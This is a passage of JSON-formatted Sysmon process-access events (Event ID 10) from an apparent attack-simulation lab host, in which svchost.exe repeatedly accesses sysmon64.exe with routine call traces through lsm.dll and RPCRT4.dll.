accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6243,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6244,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6245,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6246,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6247,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6248,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6249,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6250,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 